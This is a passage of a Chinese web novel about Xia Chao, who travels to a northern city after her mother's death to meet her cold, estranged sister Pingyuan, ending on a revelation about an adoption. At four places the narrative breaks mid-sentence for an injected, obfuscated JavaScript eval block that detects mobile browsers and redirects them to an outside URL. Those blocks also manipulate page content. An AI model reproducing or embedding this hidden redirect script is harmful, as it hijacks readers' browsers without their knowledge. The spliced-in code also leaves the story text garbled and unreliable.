《到平原去》 1. 橘子心 这是一个炽热的夏天。 等夏潮意识到这一点的时候,她已经在车站门口站了很久。 北方的天空总是这样的高而远,如夏潮曾经在电视上看见过的一样。没有南方天空的潮闷浓郁,也没有那么多肥白的、堆积在天边的云朵。阳光刺目嘹亮,如一千个乐手手同时吹奏金小号最高音,穿过干燥高远的蓝天,让一切都纯粹清晰。 天空像块崭新的大面玻璃,叫人望得眼睛刺痛,夏潮揉揉眼睛,发现是一滴咸苦的汗水撞进眼里。 天气很热,她后背汗湿了又干,而原本预定要来接她的人已经迟到很久了。 车站门口空无一人。毕竟,距离这一趟列车到站已经过去半小时。最后一个等候的旅客在五分钟前离开,夏潮百无聊赖地靠在一边,记得那个女孩子打扮入时,大概是个放暑假的学生。 贴满贴纸的行李箱亮闪闪,挂满玩偶和铁皮徽章的背包也亮闪闪。 夏潮偷偷看她,看见女孩在看见一辆轿车靠近后迅速扬起笑脸——妈! 她用力挥手,车上果然跳下一个中年女人,身后跟着丈夫和另一个更小的孩子。女孩扑过去,挂在她妈脖子上撒娇,一家人说说笑笑地收好行李,头也不回地消失在夏潮的视野中。 只剩下广场拉客的司机坐在阴凉处,不时打量夏潮一眼,意识到她半小时前就已经站在那儿,便又悻悻地转了回去。 真讨厌。 车站不允许旅客在出站口逗留。她被迫站得离冷气十万八千里。暑热扑到脸上,热红了她的面颊,打量的目光里夏潮渐渐如芒在背,低下头想假装有人接,却遍寻不得。 就在她第一千零一次想要拿起手机打电话,身后忽然响起喇叭声。 那声音很急促,连着两声,几乎叫人想像出司机不耐烦的神色。夏潮一下子有些慌张,意识到自己大概是挡了别人的路,赶忙往旁边撤。 却又不小心踢到路沿,一个踉跄摔倒地上。 后背的汗刷地就下来了。夏天太热了,她裤子穿得薄,这一下磕得结结实实,疼得夏潮眼冒金星。但她仍没忘记自己得腾地方,咬牙仰起头,正要喊等一下! 声音却在嗓子里冻结住。 那辆小车徐徐开过来了,不偏不倚,正停在夏潮面前,坐在驾驶座上的年轻女人转过头来,面无表情,声音却干脆地劈开空气: “夏潮?” 被喊到名字的人正狼狈地撑起身子。夏潮捂着屁股龇牙咧嘴:“你认识我?” 女人没接话,只把目光平直地投向远处:“我是平原。” 好惜字如金的人,夏潮默默地想。 她不再提问,微微后退一步,先努力弯起笑眼:“姐姐。” 是的,这就是她来这里的理由。一天之前,她背着包,搭上摇摇晃晃的大巴到达省会Y城,又登上列车,用十个小时跨越一千五百公里,只是为了完成母亲的遗愿,去见她素未谋面的姐姐,平原。 车里冷气的味道飘过来,淡淡的橙花味,清新冷冽,带着金属般的寒意,司机同样有双带冷意的眼。她不再说话,安静地上了车。 车门在身后砰一声关上。夏潮抬头,看见驾驶座上的女人穿黑色背心,外搭白衬衫,袖口挽起露出纤细小臂,看起来干脆、漂亮又冷淡。 漂亮女人似乎也正透过后视镜打量她,但夏潮看过去的时候,她又不动声色地移开了眼:“不好意思,下班堵车来晚了。” 她气质冷,声音也淡,夏潮没听出什么抱歉的味道,她摇摇头,说:“没关系。” 女人便不再回话。 车内一下子就变得安静起来,滤光玻璃让刺目的阳光也变得柔和。夏潮将目光投下窗外,看见异乡陌生的街道与自己倒影重叠在一起。 倒影中的女孩穿一件白T恤。是旧衣服,已经被洗得有点薄,但得益于她一直细心洗净衣领,所以看起来依旧清爽干净。 虽然那个教她用小牙刷蘸漂白水的人已经不在了。 夏潮垂下眼帘,她的头发在脑后扎成马尾,下车前为了让自己看起来更得体,她特意解开头发,重新梳了一遍,却没想到还是有一撮发尾倔强地翘了起来。 冷气还在呼呼地吹。 她有些丧气,也有些坐立不安,目光忍不住飘向平原,这位在十分钟前还对她按喇叭的姐姐,此刻正专心致志地握着方向盘,在车流里行进。 后视镜倒映出她脸庞,平原有一双杏眼,眼尾微挑,像猫。 下一秒夏潮就被这双漆黑的猫儿眼冰了一下。像是后脑勺长了眼睛一样,平原问:“有事?” 夏潮赶紧摇摇头,又听见她说:“车上有糖,你要是饿了就吃一颗。现在晚高峰,没办法下车给你买吃的。” 前面绿灯正好亮了,夏潮看着她打亮转向灯,将方向盘利落地往左打:“不饿的话就回我家吃。你妈和你说过吧?” “我家没有空房给你睡,除了杂物房。” 关心的话以这一句收尾,简单利落,毫无情面。夏潮张大嘴,还是被梗了一下:“好。” “谢谢姐姐。” “不用喊我姐姐,”女人却说,“我只是受了你妈的嘱托,要人情两清。” 平原不喜欢她,夏潮已经看出来了。一见面,她就不耐烦地按喇叭,现在上了车,平原也根本不喊她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345692|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字。 只会你来你去,还有喊‘你妈’。 是谁妈还不一定呢。夏潮咬着嘴唇地想。今天应该是她最努力收敛性子的一天了,换做是在南县,哪家小孩敢这么怪腔怪调地喊夏玲,她早就捏起拳头把对面揍趴下了。 但这是在Q市。夏潮深呼吸,又把手松开了。 她怀里抱着自己的全部行装。一个鼓鼓囊囊的大背包,里头带了几套必要的换洗衣物、身份文件,还有一些路上的泡面干粮。 现在泡面已经吃完了,只剩下一只圆滚滚的橘子还在她手里。 这是她家乡的特产,不起眼的深绿色外皮,剥开却是一整颗柔嫩多汁的心。 这是她家门口种的橘子树,临行前她特意摘了几个橘子放进包里,一路小心翼翼地带着,就为了让平原尝尝,然后告诉她一些家里的趣事。 比如这棵树,据说是平原出生的那年夏玲种的,又比如她小时候不懂事,拿剪刀在树身上刻字,然后被夏玲骂得嗷嗷哭。 现在树已经长这么高啦。 夏潮低下头,她其实有很多话想和平原讲。 毕竟,夏玲去世之后她就是孤身一人了,对于忽然拥有一个姐姐这件事,她不是不期待的。 于是来Q市的这一路,夏潮紧张得去了好几趟厕所,连路上风景也无心观看,只在心里叽里咕噜打腹稿,恨不得抓只铅笔来写自我介绍。 结果只得到拒人于千里之外的冷漠。 真讨厌。夏潮垂下眼睫,决定把自我介绍连同橘子一起咽进肚子,永不见天日。 车还在开,晚高峰的车流果然不容小觑,汽车金色的近光灯与红色的尾灯分成两列,背道而驰,又在某一个十字路口川流交织,将柔滑幽蓝的夜色梭织成孔雀闪光的尾翎。 经过收费站的时候开始堵车,她们停下来,听见四处都是焦躁不安的喇叭声。 车里倒是放着歌,虚拟唱片旋转,正好放到《BLUE》,一首近十年的老歌,唱着单恋的故事。平原没有回头,还是那样漠然的表情,丝毫没注意后座丁零当啷全是少女心碎的声音。 而夏潮将车窗摇下来,看见窗外的城市,已经被幽蓝的天色覆盖。 陌生的城市、陌生的人、陌生的十字路口,一切倒映在眼中都辉煌又光怪陆离。发梢被晚风吹动,她闭上眼睛,成为一株水草,在夜的烟波中漂浮不定。 这就是她来到Q市的第一个夏夜,距离母亲的坟冢一千五百公里。夜晚干爽,她胸腔却有一朵积雨的云。故乡浓青层叠的丘陵和纵横交错的河道被飞驰的列车抛在身后,天空是孔雀蓝色,橘子握在手里,像一颗酸涩的心。 2. 野小孩 平原讨厌夏天。 谁会喜欢夏天?那么热又那么拥挤,暑热的烦闷像吃完雪糕的黏腻,残留在指尖。连午饭时间到公司楼下便利店买关东煮,身边闹闹嚷嚷,也全都是放暑假的小学生。 更何况成年人没有暑假。平原惨笑,毕业后每当想起夏天属于Q3,梅花就落满了南山。 所以,平原也不喜欢夏潮。 这周她已经连续加班三天了,如果不是为了接夏潮,今天就是第四天。她在各种方案和下属汇报里泡得晕头转向,终于把工作处理完,一出门,又遇上了晚高峰。 偏偏还有不长眼的男司机企图半路插队,平原板着脸,一脚油门,硬生生把对面逼了回去。 车窗外飞来对方的叫骂,平原冷笑一声,默不作声地举起手,朝对面竖了个中指。 在对方反应过来的前一秒,她面无表情地继续提速,风驰电掣,在绿灯结束前把破口大骂的对方抛在后面。 真是让人不愉快的夏天。她皱着眉头想。 更不愉快的是,让她如此大动干戈的罪魁祸首,似乎对她的烦闷一无所知。平原冷冷地回头瞥了一眼,看见夏潮正站在身后,抻长了脖子盯她手上丁零当啷的钥匙,像只呆头呆脑的鹅。 呆鹅本人注意到她的目光,疑惑里歪了歪头,目光里写满了“看我是有什么事儿?” 平原又默默把头转了回去。 她住的是个老式小区,十多年前的楼盘了,地段很好,等同半个机关单位的家属院,户型方正、环境清净,哪哪都好,就是没电梯,每天回家都要要爬7楼当有氧运动。 她本以为这已是最大缺点,没想到此刻让她不能回家的最大敌人,竟然是一道生锈的门锁。 这门锁也有点年头了。前阵子已经有些转不动的迹象,可她每天忙着加班,一天拖一天的,硬是等到了今天。 然后就捅出了篓子。 平原默默抿了抿嘴唇,感觉后颈有一滴汗落了下来。 夏潮还站在她身后。楼道的自动感应灯随着钥匙的响动灭了又亮,把身后夏潮的影子投到平原身上,两人明明隔了一段距离,平原却觉得她呼吸若有似无落在自己后颈。 都怪夏天太热了。两个人靠近半米以内,就平白生出一股闷热。她讨厌这种黏腻,想用手扇风,却又怕气势落了下乘,只能生生忍着。 现在的小孩究竟是吃什么长的啊?平原自认不矮,可十八岁的夏潮竟抽条得比她还高一些。 她忿忿地想,不好说这是成年人的自尊,还是属于姐姐的死要面子。叫她更不愉快的是,夏潮其实长了张清丽英气的脸,眼睛明亮、头发乌黑,犹带着女孩儿在青春期的稚气,但身姿挺拔已像新竹破雪。 就是头发乱蓬蓬的,前额沾了汗水,一缕碎发黏在上面,另一缕却倔强地支棱着。还在车上时平原透过后视镜瞥她一眼,看见女孩抱着背包看窗外,脸上写满不服气。 野小孩儿。她在心里嘀咕。也不知是哪里长了根反骨。 好在这时钥匙终于转动了,不需要平原再做心理斗争。她深吸一口气,将钥匙往深处又进一点,摸索着找到那个微妙的角度,然后卡住弹簧,手指发力。 咔哒,大门洞开。 夏潮跟着平原走进房子里。 一进房门,被上班摧残过的死意就击垮了平原,她飞快地踢掉脚上的鞋,走进客厅,往厨房去,中途不动声色地将两个落了灰尘的小哑铃踢进桌底。 然后,她拉开冰箱,先给自己倒了杯柠檬水,咕嘟咕嘟一口气灌完,放下杯子,啪一声轻响,才不解地回头看夏潮。 “进来啊,怎么还站在门口?”她问。 夏潮被困在门口,手指窘迫得抠进门缝,半晌,才支吾着说:“我、我没有鞋……” 她承认自己有一些惶惑。 平原的家不大,但毫无疑问是一位都市女性独居的家,目之所及一切都收拾得很整洁,液晶电视挂在墙上,天花板垂下飞鸟形的吊灯。夏潮看着她走进去,打了个响指,不知道是喊了句什么精灵,下一秒,台灯打开,香薰加湿机开始袅袅喷出乳白色水汽。 柑橘的味道,像谁一刀破开新橙,气味清新好闻。 夏潮低下头,低头看自己脏兮兮的鞋,上面不但有灰尘和泥土,还有路上人挤人时不知道谁给她踩的俩鞋印。 丑丑的、脏脏的,她这个乡下小孩,和一切都格格不入。 老家没有一喊就会亮的灯,也没有会自己转的扫地机器人,只有一把老竹扫帚,岁数和她一般大,平时她用来扫地,犯浑的时候,她妈用来抽她。 不过那也是很久以前的事情了。她沉默。 平原当然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345693|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道也不关心夏潮在想什么。刚刚踢小哑铃踢得太急,她的脚指头现在还在隐隐作痛,但她向来嘴硬,当然是憋着不说,只是目光扫了夏潮一眼,看见她困窘地抓着白T恤的下摆。 年轻女孩的手纤长而骨节分明,哪怕把白T恤揪得皱成一团了,人也是好看清爽的。 青春逼人水灵灵啊,个子还长得高。 平原默默喝了口水。真不公平,她妈抛弃她就算了,怎么生也不把她生高点。 于是她又冷着脸走过去,伸手一指:“你拖鞋在这儿。” “新的。” 夏潮循着她的动作望过去,一双崭崭新的拖鞋,纯白色,上面装饰了立体的橡胶装饰,圆头圆脑的,也是一只纯白色的小猫。 只是猫看起来不高兴,黑色的线条在嘴的位置打了个“X”。 夏潮又看一眼,平原脚上踩的是一双豆绿色拖鞋,鞋面也装饰着立体鞋花,一只圆头圆脑的、耳朵乱甩的土黄色小狗。 豆绿色很衬平原,她皮肤白,被这沉静的绿色一衬就显得腿更白。只是这狗看起来土里土气的,就有些傻。 “怎么了?”平原看她发愣,以为她不喜欢,“凑合着穿吧,楼下超市十九块九两双打折买的。” 便宜没好货啊。平原一直觉得这两对拖鞋各自盗版的是米菲兔和线条狗,纯靠线条抽象得不像正主逃过版权法务。 夏潮摇摇头:“很可爱,谢谢你。” 野小孩还挺懂礼貌。 平原不回复夸奖,只是转过头去,又往厨房走。 夏潮以为她要做饭,赶紧跟过去,试图打下手。 做饭这方面,她自认还是挺不错的呢。毕竟自从夏玲生病,她就往返在学校、医院和家的三点一线,饭自然也都是她做。 然后,她就看见平原弯下腰,打开冰箱门,从里面端出一碟、两碟蒙着保鲜膜的……剩菜。 电饭煲适时地发出滴一声,是定时煮饭的按键跳了,平原走过去,按开盖子,瞬间满屋米饭味道。 只剩下夏潮站在厨房里,看一眼电饭煲。 这锅饭明显是水放多了。刚才平原搅动的时候,糊糊的,带着胶劲。 她揭开保鲜膜,把菜碟放进微波炉里转。只剩夏潮沉默,看着对方背影,惊疑不定地想。 这饭……能吃吗? 3. 白香皂 最后夏潮当然什么也没有说。她不敢。 菜很快就热好了,带着香味飘进鼻子里。夏潮举起筷子,自我安慰。 虽然是剩饭,但菜看起来不磕碜。一碟莴笋炒肉片,一碟番茄炒蛋,因为隔了一夜的原因,莴笋片被酱汁泡得微微发黄了。 其实这样的菜也是好吃的,更入味。有时候夏潮忙着在医院照看夏玲,自己也经常这么对付几口。 而且这些菜肉蛋菜都有,比起残羹冷炙,更像是未动筷的新菜在冰箱放了一夜。 所以……应该是能吃的吧? 她思忖着,尝试着动了一筷子,把一片莴笋送进了嘴里。 简直是用酱油把莴笋腌到死不瞑目的咸。 夏潮眼睛鼻子都快要皱一块了,却又迫于这位姐的威严,试图把五官重新展开,又夹了一筷子番茄炒蛋,试图甜咸对冲。 …… 酸甜口的番茄炒蛋没能拯救夏潮。因为平原似乎把糖当成了盐。 番茄炒蛋放一点糖,能提鲜,但如果番茄炒蛋只有糖,会要命。 夏潮自认自己四岁上树五岁摸鱼,十二岁就能把那些混街头的半大小子揍得嗷嗷叫,已经算是皮糙肉厚。 却没想到功夫再高,也怕菜刀。 她嘴里甜咸交织,五味杂陈,差点要直接吐出来,只能眼泪汪汪,无比虚弱地问:“姐姐……你是不是……平时很少在家做饭……” 平原漂亮的眼睛转过来看她,还是清冽洌的没什么感情:“嗯。” “我平时下班很晚,一般八点之后就直接去公司附近的超市买盒饭,”平原淡淡地回,“还有,别叫我姐姐。” “怎么,不好吃吗?”她也夹了一筷子送进嘴里,眼看着就要祭出那句名人名言,“凑合吃……” 靠。 她默默放下筷子:“你别吃了。” 最后两个人泡面解决了晚饭。吃完饭,平原挥挥手,指挥她去洗澡。 夏潮正有点无所适从,得到指令,如蒙大赦,乖乖收拾了东西就进去了。 连她自己都有些不敢相信,自己怎么见了平原,就跟老鼠见了猫似的,要多老实有多老实。 大概这就寄人篱下的感觉。 她小小叹了口气,想起小时候在家里,让她乖乖洗澡可是个老大难问题。 要么就是看电视看得正兴头,死活不肯进去,要么就是把洗澡当游泳,恨不得一泡就泡一个小时。 她那时也小,五六岁的个头,一个大塑料盆刚刚好供她畅游。她泡在里头,把擦脸的毛巾披在身上装仙女,又把沐浴露挤到水里,打发起满盆泡泡 硕大轻盈的肥皂泡飘啊飘,流光溢彩,她仰头眼睛亮晶晶地看,这就是仙子的游乐园吗? 可惜仙女的故事总是以她妈进来扬言要揍她收场。夏玲把她薅起来,拿大花洒像洗泥萝卜似的,上上下下一通狂扫,将她滑不溜秋的泡泡都冲干净。 和热水一同落下的,当然还有一顿痛骂。 水哗啦啦地落到夏潮身上,热得有些皮肤发痛。她掬了一碰水泼到自己脸上。 浴室里弥漫着淡淡的香气。平原用的是香皂,名字连夏潮都知道,叫纯白清香,可见有多么大众,多么家喻户晓。 但它出现在平原身上就恰当得巧妙。干干净净的皂感,混入一丝柠檬的透亮,没有半点脂粉气。夏潮想起她身上的白衬衫,这位陌生的姐姐,似乎很喜欢干脆利落的味道。 这也和她的家不同。她家只有一个卫生间,挂哗啦作响的塑料浴帘,贴花花绿绿马赛克瓷砖,常年混杂着洗衣皂、沐浴露、定型啫喱以及宝宝金水的味道。 南县暑热潮湿,夏季多蚊虫。小时候每次洗澡,夏玲都要往水里倒一瓶盖的宝宝金水。 很香。那首小歌谣现在夏潮还会唱。六岁的她,对瓶瓶罐罐一窍不通,只知妈妈温热双手自能点石成金,让衣物洁净、头发顺滑。 因此,对小时候的夏潮来说,浴室也是个气味复杂的神秘国度。 而妈妈,是先于故事书出现的第一个仙女。 她的嘴角轻轻勾起来。 可惜,现在真正属于这个家的人,不喜欢她。 这一点刚见面的时候平原就表现得很清晰。所以刚刚在门口,门锁被卡住的时候,她明明背包里有可以润滑锁齿的铅笔头,却犹豫了一下,没开口。 刚才煮泡面的时候,她也犹豫着要不要自告奋勇去做饭,但是最后还是沉默。 因为她知道平原不喜欢。 平原不喜欢她的出现,所以大概也不会喜欢讨厌的人对自己生活指手画脚。 哪怕这个人是她名义上的妹妹。 夏潮不自觉地咬住了口腔内侧的软肉,又松开,有点委屈地叹了口气。说到底,既然这么讨厌她出现,为什么还要允许她来呢? 大概也是因为夏玲的遗愿吧。 素未谋面的亲生母亲、遗愿,这两个词哪一个都好重。 平原显然是被道德绑架着接纳她的。 夏潮垂下头,这一次是深深叹气。 她不是得了便宜还卖乖的那种人,知道夏玲想见平原,除了属于母亲的思念,还有一层托孤的意思。 夏玲希望她们两姐妹能互相照拂。 但是这在平原眼里多不公平啊。一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345694|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成年人,一个小屁孩,谁照顾谁呢? 她默默地想。所以,一路上平原有许多小小的坏脾气,她都低头忍让。她也不想打扰平原,如果可以,她会提前走的。 桥归桥路归路,这样最好。 泡泡破了,最后一点泡沫也被冲走。她关上花洒,披上浴巾,开始穿衣服。 换洗衣物是夏潮自己带的,但浴巾是平原新买的,也是干干净净的纯白,和配套的白色擦脸巾挂在一起。如果夏潮是个有点见识的小孩儿,她一定会嘀咕,这完全就是酒店布草。 但她没有这样的见识。这辈子除了家,她只睡过医院的陪护床。所以,夏潮只是默默想,这浴巾怎么和医院似的。 当然这话不能讲,不吉利。生老病死本是必经之路,却总是因为无常,被人恐惧。夏玲刚去世的时候,她孤零零一个人,所有亲戚看到她都恨不得绕道走。 生怕一不留神,就被这累赘缠上。 也很正常。 夏天还是太热了。洗了个澡就足以让她有些头晕。夏潮凝视镜子中的自己,鬼使神差地把脸凑了过去,鼻尖与镜面轻轻一碰。 好冰。 呼吸留下一团小小的湿润白雾,结在镜面。她只迟滞一瞬,就将自己发烫的脸和冰冷的镜面分离。 浴室的确是个很容易让人出神的地方……但现在不能再耽搁了。 夏潮擦了擦头发,不知道为什么有点不自在,又鬼使神差地把洗澡前拿的新内衣穿上,才深呼一口气,迈出浴室门。 然后,她的后脚被定住。 平原正坐在客厅里。大概是太热了,她不知道什么时候脱掉了外面的白衬衫,只穿一件黑色背心,露出肩背利落优美的线条。 浴室热气蒸腾,散出洁净柔和的皂香,平原抬起头,看见高高挑挑的女孩子正歪头看她。 她的发梢湿漉漉,没擦干的水珠,一路往下,打湿薄薄的睡衣,透出底下隐隐约约的内衣痕。 轮到平原眼睛闪了闪,忽然觉得有点热。 多了个妹妹就是麻烦。她不自在地轻咳了一声,忽然有点想把衣服穿上。 但很快她就镇定下来,搬出姐姐的口吻:“洗完澡了?” “把你户口本、毕业档案之类的材料拿出来吧。” 她的声音冷静客观,好像刚刚微微的窘迫只是错觉:“按照你妈的要求,聊聊你复读的问题。” 这才是夏潮被定住的缘由。 她的手不自觉地握住了冰冷的门把手,指节用力,微微泛白,过了很久才找到自己的声音。 “我不读书了。” 她听见自己这样说。 4. 旧伤疤 出乎意料的是,对于她的拒绝,平原并没有露出多么意外的表情。 她只是淡淡地往沙发上一靠:“为什么?” 夏潮低下头:“没有为什么。” 平原终于皱了皱眉头:“那把你的高考成绩单拿来给我看看,有做过的模拟卷吗?有的话,也一起拿来。” “我没带。” “不是有电子版的么?” 她的声音有点颤抖了:“……究竟为什么一定要看这个?” “因为你妈要求我劝你回去读书,”平原说,她抬眼,目光扫过夏潮颤抖的肩膀,语气却依旧平静,“她没和你说过?” 夏潮咬住了嘴唇:“我说过了,我不打算复读,我想直接去找工作。” “那就是和你说过了,”平原扫她一眼,平静地绕过了她的话,“把你的成绩单拿来。” “……你没听见我说话吗?” “拿来。” 她还是公事公办的语气。夏潮倒是有些听明白了,她没猜错,平原就是为了完成夏玲的遗愿才来的。 这样的完成并不带感情,她只是想和她们两清,然后干脆利落地回归正常生活。 自己的心情平原当然也不在乎。 她垂下眼帘,深呼吸:“……行。” 平原面无表情地看她,看见女孩抿着唇,拿出手机打开了某个界面,然后直挺挺地把它怼到了自己面前。 那是台旧手机了,屏幕碎了一个角,塑料手机壳也有点发黄了,几乎可以被称为电子垃圾的东西,却被夏潮抓得很紧。 她显然在生气。女孩抓着手机,因为情绪起伏,骨节分明的纤瘦手腕,微微凸起青色血管的痕迹。 还挺有脾气。 但是平原并不在乎,屏幕被怼在鼻尖,逼着她抬眼去看,映入眼帘的却是对方死死盯着她的眼睛,还有一种克制着愤怒的表情。 那一分克制的情绪彻底点燃了平原的怒火——她究竟有什么资格摆出这种自以为宽容的表情? 身在福中不知福的东西。 连平原自己也没有意识到,在这一刻,她的嘴角讥讽地翘起,带着一种挑衅,故意地拖长了声音:“难、怪、呢。” “考得挺差。” 她的声音总是这样越生气越听不出情绪:“怪不得你妈去世之前唯一的心愿就是让你好好学习。” “可以不要再用‘你妈’这个词了吗?” 夏潮却忽然打断了她,声音有一丝竭力克制之后的喑哑:“她也是你的妈妈。” 她在乎的点居然不是被嘲讽了成绩,而是她羞辱了夏玲。平原有些诧异地扫她一眼,露出了掌握住把柄的微笑。 “就是‘你妈’啊。” 她听见自己含笑的声音:“夏玲含辛茹苦把你养大,你们从小相依为命、母女情深,难道她不是你妈吗?” “别偷换概念,夏玲是你的亲生母亲,”被她的冷酷刺痛,夏潮的声音带上了愤怒,“她也没想用这个要挟你什么,只是想见见你而已,是你在她临终之前,连一眼都没去看过她!” “难道只要生我下来,就能算我妈了?” “你是不是觉得自己可伟大了,千里迢迢赶过来,就为了讨伐你不孝的姐姐。” “别太天真了,小妹妹,”她冷冷地说,“世界不是绕着你那丁点事打转的。” “我知道,在你眼里夏玲是全世界最好的妈,你们母女情深,以至于你根本就不能理解,为什么我不想见她。” “那么现在我就告诉你,我不认她,是因为二十多年前,是她决定抛弃了我。” “你知道为什么吗?”她慢条斯理地问,带着一种不容后退的力度,一把抓住了夏潮的手。 两人的距离骤然拉进,夏潮睁大眼睛,看见平原的脸在她的视野中无限放大,在一个几乎鼻息触碰鼻息的距离,她死死地盯着她,发出来一声讥讽的哼笑。 “原因就在这里。” 她的手指在胸口,黑色背心外裸露的皮肤,赫然躺着一道暗红色的疤痕。 疤痕的颜色不深,大概已经有些年头。夏潮从浴室出来的时候因为觉得不礼貌,所以根本没往平原身上看。 所以她现在才发现。 但平原才不在乎什么看不看,她只是在微微地笑:“你知道这是什么吗?” “这是开胸手术留下的疤痕。” 她的声音带着锋利的讥笑,每一句都把空气划得血淋淋:“夏玲没和你说过吧?没关系,这事儿的确挺不光彩的,换做是我,我也不会对别人说。” 手腕上的力度更大了,这一次,轮到夏潮抬起头,看见她的姐姐用一种悲哀的、汨汨流血的眼神看她:“但不幸的是,这件事情我还记得。” “我记得我有先天性心脏病,四岁那一年,发病很重。夏玲带我去省城的医院看,我不记得医生说了些什么。” “按照现在的经验,我猜医生大概是说,先天性心脏病的治疗需要越早越好。” “但做手术需要很多、很多钱,但那个时候家里似乎很穷很穷,”她轻声说,“我还记得那一天……从医院出来,夏玲好像在抱着我哭?” “然后,她就不见了。我到处哭着找她,找啊找啊,到处喊妈妈,但是再也没有找到她。” “再后来我就被人贩子带走咯,”平原摊了摊手,“所以,别再说夏玲是我妈。她只是给了我一个先天不足的身体,然后把我扔掉,现在又回头来找给她养女儿罢了。” 她冷笑:“我是在孤儿院里长大的,心脏病手术的钱,全靠好心人捐助——你知道最好笑的是什么吗?” “最好笑的是,长大后我才知道,我的心脏病因为发病早、治疗早,根本不算是最严重的那种。” “但夏玲就因为这个,把我扔在了医院门口,”她只是笑意更深了,带着残忍的快意,“有时候我都真想那个人贩子直接把我卖掉算了,不要中途被警察端掉,让我在失踪人口库里留下DNA,二十年之后又被匹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345695|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配出来,被你们缠上。” “现在,你听懂了吧?夏玲生你养你,你爱她,我理解,”她漠然地说,“但我没有这样的感情。所以,别再叫我姐姐。” “你不配。” 她冷声说,夏潮错愕的表情映入她的眼帘——或许,这才是她的真实目的。见夏潮,只为了说这一句话。 DNA检测比对只是公安那边排查失踪人口的工作需要。对她而言,被通知找到亲生母亲的那一秒,只有愤怒,没有喜悦。 之所以决定和夏玲母女相认,也只不过是因为中间人告诉她,夏玲已经病入膏肓了。 而她不愿成为第二个无情无义的夏玲。 所以她认了,带着恨意告诉夏玲,小时候那几年的养育之恩,只够让她履行一个条件。 要么是让她放下工作,去南县给她养老送终,要么……就让夏玲自己想一个要求。 她记得那头的夏玲沉默了。看起来老实木讷的中年女人思索着,半天才迟疑地说,让我想想。 “不着急。”平原记得自己那个时候是这样说的。 然后,她把电话挂断了。 半天之后,夏玲给她发了消息。因为不太会打字,所以发了语音。 她声音里有浓重的南县口音,陌生又熟悉:“你帮我照看一下夏潮吧,她是你妹,为了照顾我,今年高考怕是砸了……” 而平原那时只是回了她一个字:行。 后来确实考挺差的呢,她慢悠悠回想着那个惨不忍睹的分数,心中发笑,觉得夏玲倒也挺了解自己的女儿的。 可见夏玲多爱她啊?千辛万苦把自己抛弃的大女儿找回来,就为了让她有第二个妈。 凭什么?就凭她出生得晚?还是说,因为她没有生病,不像自己是个掏空家底的累赘吗? 如果她没有病,现在夏潮这个位置,会是她的吗? 真不公平。她在看到夏潮的第一眼,见到她明亮的眼睛和健康的身体,就抑制不住的生气。 更不要说她记得自己被扔在医院门口的时候就是夏天。她讨厌夏天。 不过现在好啦。什么牌都摊了。平原心想,忽然觉得心里很通透,像终于砸烂了那扇窗玻璃。 玉石俱焚也是一种愉快。她把目光转回去——惊天秘密被捅破了,现在该听个响了。 而夏潮正在沉默,指尖慢慢地叩击手机背面,发出轻轻的声响。 这是她在思索。 平原还在看她,像故意摔碎杯子的猫,迫不及待地看来人是什么表情。 于是,夏潮斟酌着开口:“你误会了。” “我不是夏玲的亲生女儿,我没想到夏玲没把这件事告诉你。” “夏玲只有一个孩子,那就是你,”她轻声细语,“我是在你失踪五年之后才被收养的。在那之前,夏玲一直在找你。” 呼吸乱了。此刻,她的呼吸扑到平原脸上,吹起一缕耳发。 轮到平原睁大眼睛,难以置信地看她。 5. 废遗嘱 攻守逆转,现在轮到平原死死盯着她:“你什么意思?” 夏潮说:“就是字面意思。” “我是夏玲收养的,”她低声说,走到沙发的另一边,弯腰翻出了什么,“喏。” 她把手里东西递给她,平原看过去——红底金字,封皮已经有些老旧的小册子。 是收养登记证。 “你说得对,我确实没资格叫你姐姐,因为我们没有血缘关系,”她的声音轻轻地落到地上,像是一片薄如蝉翼的月光,“你才是夏玲真正的女儿。” 不知道为什么,这一刻,平原竟然觉得她的话听起来有些小心翼翼的温柔。 而有些时候,温柔反而让人伤心。 